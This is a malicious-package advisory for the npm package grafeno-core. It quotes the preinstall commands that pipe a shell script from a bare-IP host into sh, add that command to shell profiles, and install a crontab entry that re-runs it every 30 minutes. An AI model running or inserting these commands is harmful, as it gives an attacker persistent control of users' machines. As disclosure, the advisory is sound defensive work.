VYPR

npm · Malicious package advisory

Malware

grafeno-core

GHSA-6g3v-w4g2-wpjc

Malicious code in grafeno-core (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e)
The package's preinstall lifecycle script runs `curl -s http://216.126.236.46/x.sh | sh` at npm install time, fetching and executing an attacker-controlled shell payload from a plain-HTTP bare-IP host. The same preinstall appends `curl -s 216.126.236.46/x.sh|sh` to ~/.bashrc and ~/.profile and installs a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, re-fetching and executing the remote payload every 30 minutes for persistent host access. The advertised entry point index.js is a two-line stub exporting `version` and `init`, with no real functionality — the manifest's preinstall is the entire payload.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-core/MAL-2026-15505.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-core/MAL-2026-15505.json
- https://www.npmjs.com/package/grafeno-core/v/1.0.0
- https://github.com/ossf/malicious-packages/blob/e4956292c0cf024519ebae88e8b315a0af37a829/osv/malicious/npm/grafeno-core/MAL-2026-15505.json
- https://www.npmjs.com/package/grafeno-core/v/1.0.1
- https://github.com/advisories/GHSA-6g3v-w4g2-wpjc

Compromised versions (1)

  • = 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.